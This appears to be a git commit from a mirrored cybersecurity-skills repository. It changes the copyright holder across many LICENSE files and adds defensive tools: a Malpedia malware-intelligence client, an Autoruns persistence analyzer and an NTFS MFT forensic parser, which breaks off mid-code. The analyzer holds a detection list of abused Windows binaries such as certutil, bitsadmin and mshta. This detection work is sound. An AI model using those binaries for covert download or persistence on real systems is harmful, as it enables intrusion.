mirror of
https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
synced 2026-06-14 06:54:57 +03:00
Complete folder anatomy for all 649 cybersecurity skills + update LICENSE to Mahipal
- Add scripts/agent.py and references/api-reference.md to all remaining skills - Update all 648 LICENSE files: copyright now reads 'Mahipal' - Add implementing-security-monitoring-with-datadog (new skill with full anatomy) - All 649 skills now have: SKILL.md, LICENSE, scripts/agent.py, references/api-reference.md
This commit is contained in:
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
+68
@@ -0,0 +1,68 @@
|
||||
# API Reference: Malpedia Malware Family Analysis
|
||||
|
||||
## Base URL
|
||||
```
|
||||
https://malpedia.caad.fkie.fraunhofer.de/api
|
||||
```
|
||||
|
||||
## Authentication
|
||||
```
|
||||
Authorization: apitoken YOUR_API_KEY
|
||||
```
|
||||
|
||||
## List Families
|
||||
```
|
||||
GET /list/families
|
||||
```
|
||||
Returns dict of `{family_name: {alt_names, description, attribution, urls}}`.
|
||||
|
||||
## Get Family Details
|
||||
```
|
||||
GET /get/family/{family_name}
|
||||
```
|
||||
| Field | Description |
|
||||
|-------|-------------|
|
||||
| `common_name` | Primary family name |
|
||||
| `alt_names` | List of alternative names |
|
||||
| `description` | Family description |
|
||||
| `attribution` | List of attributed threat actors |
|
||||
| `urls` | Reference URLs |
|
||||
|
||||
## Get YARA Rules
|
||||
```
|
||||
GET /get/yara/{family_name}
|
||||
```
|
||||
Returns dict of YARA rules keyed by rule source.
|
||||
|
||||
## List Actors
|
||||
```
|
||||
GET /list/actors
|
||||
```
|
||||
Returns dict of `{actor_name: {alt_names, description, families}}`.
|
||||
|
||||
## Get Actor Details
|
||||
```
|
||||
GET /get/actor/{actor_name}
|
||||
```
|
||||
| Field | Description |
|
||||
|-------|-------------|
|
||||
| `common_name` | Actor name |
|
||||
| `description` | Actor profile |
|
||||
| `families` | Associated malware families |
|
||||
| `alt_names` | Alternative names (APT designations) |
|
||||
|
||||
## Get Sample
|
||||
```
|
||||
GET /get/sample/{sha256}
|
||||
GET /get/sample/{sha256}/zip
|
||||
```
|
||||
|
||||
## Relationship Types
|
||||
| Relation | Description |
|
||||
|----------|-------------|
|
||||
| `also_known_as` | Family alias |
|
||||
| `shared_actor` | Families used by same threat actor |
|
||||
| `variant_of` | Derived malware variant |
|
||||
|
||||
## MITRE ATT&CK
|
||||
- T1587.001 - Develop Capabilities: Malware
|
||||
@@ -0,0 +1,154 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Malpedia Malware Family Relationship Agent - Queries Malpedia API for malware family intelligence."""
|
||||
|
||||
import json
|
||||
import logging
|
||||
import argparse
|
||||
from datetime import datetime
|
||||
from collections import defaultdict
|
||||
|
||||
import requests
|
||||
|
||||
logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
MALPEDIA_API = "https://malpedia.caad.fkie.fraunhofer.de/api"
|
||||
|
||||
|
||||
def malpedia_get(endpoint, api_key):
|
||||
"""Make authenticated GET request to Malpedia API."""
|
||||
headers = {"Authorization": f"apitoken {api_key}"}
|
||||
resp = requests.get(f"{MALPEDIA_API}{endpoint}", headers=headers, timeout=30)
|
||||
resp.raise_for_status()
|
||||
return resp.json()
|
||||
|
||||
|
||||
def list_families(api_key):
|
||||
"""List all malware families from Malpedia."""
|
||||
data = malpedia_get("/list/families", api_key)
|
||||
logger.info("Retrieved %d malware families", len(data))
|
||||
return data
|
||||
|
||||
|
||||
def get_family_info(family_name, api_key):
|
||||
"""Get detailed info for a malware family."""
|
||||
return malpedia_get(f"/get/family/{family_name}", api_key)
|
||||
|
||||
|
||||
def get_family_yara(family_name, api_key):
|
||||
"""Get YARA rules for a malware family."""
|
||||
return malpedia_get(f"/get/yara/{family_name}", api_key)
|
||||
|
||||
|
||||
def list_actors(api_key):
|
||||
"""List all threat actors from Malpedia."""
|
||||
data = malpedia_get("/list/actors", api_key)
|
||||
logger.info("Retrieved %d threat actors", len(data))
|
||||
return data
|
||||
|
||||
|
||||
def get_actor_info(actor_name, api_key):
|
||||
"""Get detailed info for a threat actor."""
|
||||
return malpedia_get(f"/get/actor/{actor_name}", api_key)
|
||||
|
||||
|
||||
def build_family_graph(families_data):
|
||||
"""Build relationship graph between malware families."""
|
||||
relationships = []
|
||||
family_actors = defaultdict(list)
|
||||
|
||||
for family_name, info in families_data.items():
|
||||
if not isinstance(info, dict):
|
||||
continue
|
||||
alt_names = info.get("alt_names", [])
|
||||
actors = info.get("attribution", [])
|
||||
urls = info.get("urls", [])
|
||||
|
||||
for actor in actors:
|
||||
family_actors[actor].append(family_name)
|
||||
|
||||
for alt in alt_names:
|
||||
relationships.append({
|
||||
"source": family_name,
|
||||
"target": alt,
|
||||
"relation": "also_known_as",
|
||||
})
|
||||
|
||||
for actor, actor_families in family_actors.items():
|
||||
if len(actor_families) > 1:
|
||||
for i in range(len(actor_families)):
|
||||
for j in range(i + 1, len(actor_families)):
|
||||
relationships.append({
|
||||
"source": actor_families[i],
|
||||
"target": actor_families[j],
|
||||
"relation": "shared_actor",
|
||||
"actor": actor,
|
||||
})
|
||||
return relationships, dict(family_actors)
|
||||
|
||||
|
||||
def analyze_family(family_name, api_key):
|
||||
"""Analyze a specific malware family and its relationships."""
|
||||
info = get_family_info(family_name, api_key)
|
||||
result = {
|
||||
"family": family_name,
|
||||
"description": info.get("description", ""),
|
||||
"alt_names": info.get("alt_names", []),
|
||||
"attribution": info.get("attribution", []),
|
||||
"urls": info.get("urls", [])[:10],
|
||||
"common_name": info.get("common_name", ""),
|
||||
}
|
||||
try:
|
||||
yara_data = get_family_yara(family_name, api_key)
|
||||
result["yara_rule_count"] = len(yara_data) if isinstance(yara_data, dict) else 0
|
||||
except requests.RequestException:
|
||||
result["yara_rule_count"] = 0
|
||||
return result
|
||||
|
||||
|
||||
def generate_report(families_analyzed, relationships, actor_map):
|
||||
"""Generate malware family relationship report."""
|
||||
report = {
|
||||
"timestamp": datetime.utcnow().isoformat(),
|
||||
"families_analyzed": len(families_analyzed),
|
||||
"relationships_found": len(relationships),
|
||||
"actors_mapped": len(actor_map),
|
||||
"family_details": families_analyzed,
|
||||
"relationships": relationships[:200],
|
||||
"actor_family_map": {a: f for a, f in list(actor_map.items())[:50]},
|
||||
}
|
||||
print(f"MALPEDIA REPORT: {len(families_analyzed)} families, {len(relationships)} relationships, {len(actor_map)} actors")
|
||||
return report
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="Malpedia Malware Family Analysis Agent")
|
||||
parser.add_argument("--api-key", required=True, help="Malpedia API key")
|
||||
parser.add_argument("--family", help="Specific family to analyze")
|
||||
parser.add_argument("--list-families", action="store_true")
|
||||
parser.add_argument("--build-graph", action="store_true", help="Build full relationship graph")
|
||||
parser.add_argument("--output", default="malpedia_report.json")
|
||||
args = parser.parse_args()
|
||||
|
||||
families_analyzed = []
|
||||
relationships = []
|
||||
actor_map = {}
|
||||
|
||||
if args.family:
|
||||
result = analyze_family(args.family, args.api_key)
|
||||
families_analyzed.append(result)
|
||||
elif args.build_graph:
|
||||
all_families = list_families(args.api_key)
|
||||
relationships, actor_map = build_family_graph(all_families)
|
||||
elif args.list_families:
|
||||
all_families = list_families(args.api_key)
|
||||
families_analyzed = [{"family": k, "alt_names": v.get("alt_names", []) if isinstance(v, dict) else []} for k, v in list(all_families.items())[:100]]
|
||||
|
||||
report = generate_report(families_analyzed, relationships, actor_map)
|
||||
with open(args.output, "w") as f:
|
||||
json.dump(report, f, indent=2)
|
||||
logger.info("Report saved to %s", args.output)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -0,0 +1,60 @@
|
||||
# API Reference: Autoruns Persistence Analysis
|
||||
|
||||
## Autoruns CLI (autorunsc.exe)
|
||||
```cmd
|
||||
autorunsc.exe -a * -c -h -s -v -vt -o autoruns.csv
|
||||
```
|
||||
| Flag | Description |
|
||||
|------|-------------|
|
||||
| `-a *` | All autostart categories |
|
||||
| `-c` | CSV output |
|
||||
| `-h` | Show file hashes |
|
||||
| `-s` | Verify digital signatures |
|
||||
| `-v` | Verify signatures against catalog |
|
||||
| `-vt` | Check VirusTotal |
|
||||
| `-o` | Output file |
|
||||
|
||||
## CSV Columns
|
||||
| Column | Description |
|
||||
|--------|-------------|
|
||||
| Time | Entry timestamp |
|
||||
| Entry Location | Registry key or path |
|
||||
| Entry | Entry name |
|
||||
| Enabled | enabled/disabled |
|
||||
| Category | Autoruns category |
|
||||
| Description | File description |
|
||||
| Company | Publisher name |
|
||||
| Image Path | Full binary path |
|
||||
| Launch String | Complete command line |
|
||||
| MD5 / SHA-1 / SHA-256 | File hashes |
|
||||
| Signer | Code signing status |
|
||||
| VT detection | VirusTotal ratio (e.g., "5/72") |
|
||||
|
||||
## Autostart Categories
|
||||
| Category | Examples |
|
||||
|----------|---------|
|
||||
| Logon | Run/RunOnce keys, Startup folder |
|
||||
| Services | Windows services |
|
||||
| Drivers | Kernel drivers |
|
||||
| Scheduled Tasks | Task Scheduler entries |
|
||||
| Winlogon | Shell, Userinit, Notify |
|
||||
| WMI | Event subscriptions |
|
||||
| AppInit | AppInit_DLLs |
|
||||
| Boot Execute | BootExecute values |
|
||||
| Image Hijacks | IFEO debugger entries |
|
||||
| LSA Providers | Authentication packages |
|
||||
|
||||
## Suspicious Indicators
|
||||
| Indicator | Significance |
|
||||
|-----------|-------------|
|
||||
| VT detection > 0 | Known malware |
|
||||
| Unsigned binary | Potential unsigned malware |
|
||||
| LOLBin in launch string | Living-off-the-land |
|
||||
| Path in %TEMP% or %PUBLIC% | Staging location |
|
||||
| Missing company info | Suspicious unsigned entry |
|
||||
|
||||
## MITRE ATT&CK Persistence
|
||||
- T1547.001 - Registry Run Keys / Startup Folder
|
||||
- T1053.005 - Scheduled Task
|
||||
- T1543.003 - Windows Service
|
||||
- T1546.003 - WMI Event Subscription
|
||||
@@ -0,0 +1,153 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Autoruns Persistence Analysis Agent - Analyzes Windows autostart entries for malware persistence."""
|
||||
|
||||
import json
|
||||
import csv
|
||||
import os
|
||||
import re
|
||||
import logging
|
||||
import argparse
|
||||
from datetime import datetime
|
||||
from collections import Counter
|
||||
|
||||
logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
SUSPICIOUS_PATHS = [
|
||||
r"\\temp\\", r"\\tmp\\", r"\\appdata\\local\\temp",
|
||||
r"\\public\\", r"\\programdata\\", r"\\users\\default",
|
||||
r"\\recycler\\", r"\\windows\\debug",
|
||||
]
|
||||
|
||||
SUSPICIOUS_COMMANDS = [
|
||||
"powershell", "cmd.exe /c", "wscript", "cscript", "mshta",
|
||||
"regsvr32", "rundll32", "certutil", "bitsadmin",
|
||||
"schtasks", "msiexec /q", "forfiles",
|
||||
]
|
||||
|
||||
KNOWN_PERSISTENCE_LOCATIONS = [
|
||||
"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
|
||||
"HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
|
||||
"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce",
|
||||
"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",
|
||||
"HKLM\\SYSTEM\\CurrentControlSet\\Services",
|
||||
"Task Scheduler",
|
||||
"Startup Folder",
|
||||
"WMI",
|
||||
]
|
||||
|
||||
|
||||
def parse_autoruns_csv(csv_file):
|
||||
"""Parse Autoruns CSV export file."""
|
||||
entries = []
|
||||
with open(csv_file, "r", encoding="utf-8-sig", errors="ignore") as f:
|
||||
reader = csv.DictReader(f, delimiter=",")
|
||||
for row in reader:
|
||||
entries.append({
|
||||
"time": row.get("Time", ""),
|
||||
"entry_location": row.get("Entry Location", ""),
|
||||
"entry": row.get("Entry", ""),
|
||||
"enabled": row.get("Enabled", ""),
|
||||
"category": row.get("Category", ""),
|
||||
"profile": row.get("Profile", ""),
|
||||
"description": row.get("Description", ""),
|
||||
"company": row.get("Company", ""),
|
||||
"image_path": row.get("Image Path", ""),
|
||||
"version": row.get("Version", ""),
|
||||
"launch_string": row.get("Launch String", ""),
|
||||
"md5": row.get("MD5", ""),
|
||||
"sha1": row.get("SHA-1", ""),
|
||||
"sha256": row.get("SHA-256", ""),
|
||||
"signer": row.get("Signer", ""),
|
||||
"vt_detection": row.get("VT detection", ""),
|
||||
})
|
||||
logger.info("Parsed %d autoruns entries from %s", len(entries), csv_file)
|
||||
return entries
|
||||
|
||||
|
||||
def analyze_entry(entry):
|
||||
"""Analyze a single autoruns entry for suspicious indicators."""
|
||||
findings = []
|
||||
image_path = (entry.get("image_path") or "").lower()
|
||||
launch_string = (entry.get("launch_string") or "").lower()
|
||||
signer = entry.get("signer") or ""
|
||||
vt = entry.get("vt_detection") or ""
|
||||
company = entry.get("company") or ""
|
||||
|
||||
for pattern in SUSPICIOUS_PATHS:
|
||||
if re.search(pattern, image_path, re.IGNORECASE):
|
||||
findings.append({"type": "Suspicious file path", "severity": "high", "detail": image_path})
|
||||
break
|
||||
|
||||
for cmd in SUSPICIOUS_COMMANDS:
|
||||
if cmd.lower() in launch_string:
|
||||
findings.append({"type": "LOLBin in launch string", "severity": "high", "detail": cmd})
|
||||
break
|
||||
|
||||
if signer in ("(Not verified)", "") or "(Not verified)" in signer:
|
||||
findings.append({"type": "Unsigned binary", "severity": "medium", "detail": signer})
|
||||
|
||||
if vt and "/" in vt:
|
||||
try:
|
||||
detections, total = vt.split("/")
|
||||
if int(detections.strip()) > 0:
|
||||
findings.append({"type": "VirusTotal detections", "severity": "critical", "detail": vt})
|
||||
except (ValueError, AttributeError):
|
||||
pass
|
||||
|
||||
if not company and entry.get("enabled") == "enabled":
|
||||
findings.append({"type": "No company info", "severity": "low", "detail": "Enabled entry without publisher"})
|
||||
|
||||
return findings
|
||||
|
||||
|
||||
def analyze_all_entries(entries):
|
||||
"""Analyze all autoruns entries and generate findings."""
|
||||
all_findings = []
|
||||
for entry in entries:
|
||||
entry_findings = analyze_entry(entry)
|
||||
if entry_findings:
|
||||
all_findings.append({
|
||||
"entry": entry.get("entry"),
|
||||
"location": entry.get("entry_location"),
|
||||
"category": entry.get("category"),
|
||||
"image_path": entry.get("image_path"),
|
||||
"findings": entry_findings,
|
||||
"max_severity": max((f["severity"] for f in entry_findings), key=lambda s: {"critical": 4, "high": 3, "medium": 2, "low": 1}.get(s, 0)),
|
||||
})
|
||||
return all_findings
|
||||
|
||||
|
||||
def generate_report(entries, findings):
|
||||
"""Generate persistence analysis report."""
|
||||
categories = Counter(e.get("category", "Unknown") for e in entries)
|
||||
critical = [f for f in findings if f["max_severity"] == "critical"]
|
||||
report = {
|
||||
"timestamp": datetime.utcnow().isoformat(),
|
||||
"total_entries": len(entries),
|
||||
"enabled_entries": len([e for e in entries if e.get("enabled") == "enabled"]),
|
||||
"suspicious_entries": len(findings),
|
||||
"critical_entries": len(critical),
|
||||
"category_breakdown": dict(categories.most_common()),
|
||||
"findings": findings,
|
||||
}
|
||||
print(f"AUTORUNS REPORT: {len(entries)} entries, {len(findings)} suspicious, {len(critical)} critical")
|
||||
return report
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="Autoruns Persistence Analysis Agent")
|
||||
parser.add_argument("--csv-file", required=True, help="Autoruns CSV export file")
|
||||
parser.add_argument("--output", default="autoruns_report.json")
|
||||
args = parser.parse_args()
|
||||
|
||||
entries = parse_autoruns_csv(args.csv_file)
|
||||
findings = analyze_all_entries(entries)
|
||||
report = generate_report(entries, findings)
|
||||
with open(args.output, "w") as f:
|
||||
json.dump(report, f, indent=2)
|
||||
logger.info("Report saved to %s", args.output)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -0,0 +1,55 @@
|
||||
# API Reference: NTFS MFT Analysis
|
||||
|
||||
## MFT Entry Structure (1024 bytes)
|
||||
| Offset | Size | Field |
|
||||
|--------|------|-------|
|
||||
| 0 | 4 | Signature ("FILE") |
|
||||
| 18 | 2 | Sequence number |
|
||||
| 20 | 2 | First attribute offset |
|
||||
| 22 | 2 | Flags (0x01=in use, 0x02=directory) |
|
||||
|
||||
## MFT Attribute Types
|
||||
| Type ID | Name | Description |
|
||||
|---------|------|-------------|
|
||||
| 0x10 | $STANDARD_INFORMATION | Timestamps, flags, owner |
|
||||
| 0x20 | $ATTRIBUTE_LIST | List of attributes in other entries |
|
||||
| 0x30 | $FILE_NAME | Filename and parent reference |
|
||||
| 0x40 | $OBJECT_ID | Unique object identifier |
|
||||
| 0x50 | $SECURITY_DESCRIPTOR | ACL and ownership |
|
||||
| 0x60 | $VOLUME_NAME | Volume label |
|
||||
| 0x80 | $DATA | File content (resident or non-resident) |
|
||||
| 0x90 | $INDEX_ROOT | Directory index root |
|
||||
| 0xA0 | $INDEX_ALLOCATION | Directory index entries |
|
||||
| 0xB0 | $BITMAP | Bitmap for index allocation |
|
||||
|
||||
## $STANDARD_INFORMATION Timestamps
|
||||
| Offset | Size | Field |
|
||||
|--------|------|-------|
|
||||
| 0 | 8 | Creation time (FILETIME) |
|
||||
| 8 | 8 | Modification time |
|
||||
| 16 | 8 | MFT modification time |
|
||||
| 24 | 8 | Access time |
|
||||
|
||||
## $FILE_NAME Structure
|
||||
| Offset | Size | Field |
|
||||
|--------|------|-------|
|
||||
| 0 | 8 | Parent directory reference |
|
||||
| 64 | 1 | Filename length (chars) |
|
||||
| 65 | 1 | Namespace (0=POSIX, 1=Win32, 2=DOS) |
|
||||
| 66 | var | Filename (UTF-16LE) |
|
||||
|
||||
## FILETIME Conversion
|
||||
```python
|
||||
FILETIME_EPOCH = datetime(1601, 1, 1)
|
||||
dt = FILETIME_EPOCH + timedelta(microseconds=filetime // 10)
|
||||
```
|
||||
|
||||
## Tools
|
||||
```bash
|
||||
# Extract MFT with FTK Imager or raw copy
|
||||
icat /dev/sda1 0 > $MFT
|
||||
# analyzeMFT
|
||||
analyzeMFT.py -f $MFT -o mft.csv
|
||||
# MFTECmd (Eric Zimmerman)
|
||||
MFTECmd.exe -f $MFT --csv output/
|
||||
```
|
||||
@@ -0,0 +1,159 @@
|
||||
#!/usr/bin/env python3
|
||||
"""MFT Deleted File Recovery Agent - Parses NTFS Master File Table for deleted file artifacts."""
|
||||
|
||||
import json
|
||||
import struct
|
||||
import os
|
||||
import logging
|
||||
import argparse
|
||||
from datetime import datetime, timedelta
|
||||
|
||||
logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
MFT_ENTRY_SIZE = 1024
|
||||
FILETIME_EPOCH = datetime(1601, 1, 1)
|
||||
|
||||
|
||||
def filetime_to_dt(ft):
|
||||
"""Convert FILETIME to datetime."""
|
||||
if ft == 0:
|
||||
return None
|
||||
try:
|
||||
return FILETIME_EPOCH + timedelta(microseconds=ft // 10)
|
||||
except (OverflowError, OSError):
|
||||
return None
|
||||
|
||||
|
||||
def parse_mft_entry(data, offset=0):
|
||||
"""Parse a single MFT entry."""
|
||||
if len(data) < offset + 48:
|
||||
return None
|
||||
signature = data[offset:offset + 4]
|
||||
if signature != b"FILE":
|
||||
return None
|
||||
|
||||
flags = struct.unpack_from("<H", data, offset + 22)[0]
|
||||
seq_number = struct.unpack_from("<H", data, offset + 18)[0]
|
||||
first_attr_offset = struct.unpack_from("<H", data, offset + 20)[0]
|
||||
|
||||
entry = {
|
||||
"flags": flags,
|
||||
"in_use": bool(flags & 0x01),
|
||||
"is_directory": bool(flags & 0x02),
|
||||
"sequence_number": seq_number,
|
||||
"attributes": [],
|
||||
